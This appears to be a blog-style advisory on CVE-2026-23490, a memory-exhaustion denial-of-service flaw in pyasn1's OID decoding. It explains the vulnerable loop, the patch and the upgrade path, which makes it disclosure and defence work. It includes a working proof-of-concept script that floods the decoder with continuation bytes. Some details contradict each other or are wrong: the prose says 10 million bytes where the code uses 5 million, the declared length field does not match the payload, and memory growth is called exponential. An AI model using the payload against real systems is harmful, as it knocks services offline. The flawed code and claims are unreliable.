Feb 16, 2026·7 min read·27 visits
pyasn1 versions prior to 0.6.2 allow unbounded memory allocation during OID decoding. An attacker can send a maliciously crafted ASN.1 payload containing a massive number of 'continuation' bytes, forcing the library to construct an infinitely large integer until the system runs out of RAM.
A deep-dive analysis of a critical Denial of Service vulnerability in pyasn1, the de facto Python library for ASN.1 serialization. By exploiting the Variable Length Quantity (VLQ) decoding logic, attackers can trigger infinite memory allocation, crashing services via OOM (Out of Memory) conditions.
If you work in security, you know ASN.1 (Abstract Syntax Notation One). It is the cockroach of data serialization protocols: ancient, ugly, and impossible to kill. It underpins everything from the SNMP traffic managing your switches to the X.509 certificates securing your HTTPS connections. In the Python ecosystem, pyasn1 is the workhorse library that translates this binary soup into readable Python objects.
But here is the thing about parsing binary data: you are essentially taking untrusted input and asking your CPU to perform math on it. When that math involves length calculations or value shifts, you are walking a tightrope. CVE-2026-23490 is what happens when you fall off that tightrope.
This isn't a buffer overflow in the traditional C sense. It is a logic flaw in how Python handles integers combined with a naive implementation of a decoding algorithm. It turns a feature of Python—arbitrary-precision integers—into a weapon of mass destruction for your RAM. If you have an endpoint exposed that accepts ASN.1 (like an LDAP server or a custom protocol listener), you are holding a grenade with the pin pulled.
To understand this exploit, you have to understand how Object Identifiers (OIDs) are encoded. OIDs use something called Variable Length Quantity (VLQ) or Base-128 encoding. The logic is simple: you read a byte. If the most significant bit (the 8th bit) is 1, it means "there is more data coming for this specific number." You take the lower 7 bits, add them to your accumulator, and move to the next byte.
Here is the pseudocode for how pyasn1 (and many other decoders) handled this:
value = 0
while True:
byte = read_byte()
# Shift the previous value 7 bits to the left
value = (value << 7) | (byte & 0x7F)
# If the continuation bit (0x80) is NOT set, we are done
if not (byte & 0x80):
breakDo you see the problem? There was no brake pedal. The loop continues as long as the incoming bytes have that continuation bit set. In a language like C, you would eventually overflow a 32-bit or 64-bit integer, wrapping around or erroring out. But this is Python. Python integers are objects that automatically expand to fill available memory.
An attacker effectively says: "I'm sending you a number. It's not done yet... still not done... still not done..." for millions of bytes. pyasn1 dutifully shifts the value left by 7 bits for every single byte. This creates an integer object so massive that it consumes gigabytes of RAM in seconds, invoking the wrath of the Linux OOM (Out of Memory) Killer.
The fix, landed in version 0.6.2, is a classic example of "defensive programming." The maintainers realized that no legitimate OID arc needs to be larger than the observable universe. They introduced a hard limit.
Let's look at the critical diff in pyasn1/codec/ber/decoder.py. The patch introduces a sanity check counter.
The Vulnerable Logic (Conceptual):
# Old behavior: blindly trusting the stream
while (octet & 0x80):
value = (value << 7) | (octet & 0x7F)
octet = read_next()The Patched Logic (Commit 3908f14):
MAX_OID_ARC_CONTINUATION_OCTETS = 20
# ... inside the decoder loop ...
continuationOctetCount = 0
while (octet & 0x80):
continuationOctetCount += 1
if continuationOctetCount > MAX_OID_ARC_CONTINUATION_OCTETS:
raise error.PyAsn1Error('OID arc too long')
value = (value << 7) | (octet & 0x7F)They set the limit to 20 octets. Since each octet contributes 7 bits of data, 20 octets allow for a 140-bit number. This is more than enough to handle standard OIDs and even UUID-based OIDs (which are 128-bit), but it stops the infinite loop dead in its tracks. It is a simple if statement that saves the entire application from crashing.
Exploiting this is trivially easy. We don't need shellcode, we don't need ROP chains, and we don't need to bypass ASLR. We just need to send a lie. We construct a valid ASN.1 sequence where the length field claims we have data, but the data itself is a never-ending stream of continuation bytes.
Here is a functional Proof-of-Concept (PoC) that demonstrates the issue. This script generates a payload that looks like a valid OID start, but then drags on for 10 million bytes.
import time
from pyasn1.codec.ber import decoder
# 0x06 is the ASN.1 Tag for OBJECT IDENTIFIER
# The length is arbitrary here, as long as the parser keeps reading.
# We use 0x81 (10000001) which means "Value: 1, Continuation: True"
print("[*] Generating malicious payload...")
payload = b'\x06\x82\xFF\xFF' # Tag: OID, Length: 65535 (just to start reading)
payload += b'\x81' * 5000000 # 5 million continuation bytes
payload += b'\x01' # The terminator (optional, usually crashes before this)
print("[*] Feeding payload to vulnerable decoder...")
try:
# In a real attack, this happens when the server parses a packet
decoder.decode(payload)
except MemoryError:
print("[!] Target crushed. Memory exhausted.")
except Exception as e:
print(f"[-] Crashed with: {e}")> [!NOTE]
> Why this works: When pyasn1 parses those 5 million 0x81 bytes, it isn't just storing 5MB of data. It is computing (prev << 7) | 1. The computational cost of manipulating a 35-million-bit integer (5MB * 7 bits) in software is astronomical, and the memory footprint of the Python object representing that number grows exponentially relative to the input size.
The impact here is a high-reliability Denial of Service. In a containerized environment (like Kubernetes), this is particularly brutal. If your Python microservice parses ASN.1 (perhaps validation of a client certificate or processing a file upload), a single request can spike memory usage to 100% of the container's limit.
The Blast Radius:
pyasn1 to decode protocol operations.pyasn1. An attacker submitting a malicious CSR could take down the signing server.Because this consumes memory on the heap, it's often cleaner than a stack overflow. There's no segfault leaving a core dump to analyze; the process just vanishes when the OS kills it to save the rest of the system. It creates a "mystery crash" scenario that keeps Ops teams awake at night.
The remediation is straightforward: Update pyasn1 to version 0.6.2 or higher.
If you are pinning versions in your requirements.txt (and you should be), check specifically for this package. It is often a transitive dependency, meaning you might not even know you are using it. It might be pulled in by pyasn1-modules, ldap3, or pysnmp.
Manual Verification:
pip freeze | grep pyasn1
# If output is < 0.6.2, you are vulnerable.If you cannot patch immediately, your only defense is to sanitize input before it reaches the decoder, perhaps by enforcing strict size limits on the raw byte stream. However, since the explosion happens inside the OID decoding logic, even a relatively small network packet (a few megabytes) can expand into gigabytes of RAM usage. Patching is the only robust solution.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
pyasn1 pyasn1 | < 0.6.2 | 0.6.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-770 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 7.5 (High) |
| EPSS Score | 0.00055 |
| Impact | Denial of Service (Memory Exhaustion) |
| Exploit Status | PoC Available |
Allocation of Resources Without Limits or Throttling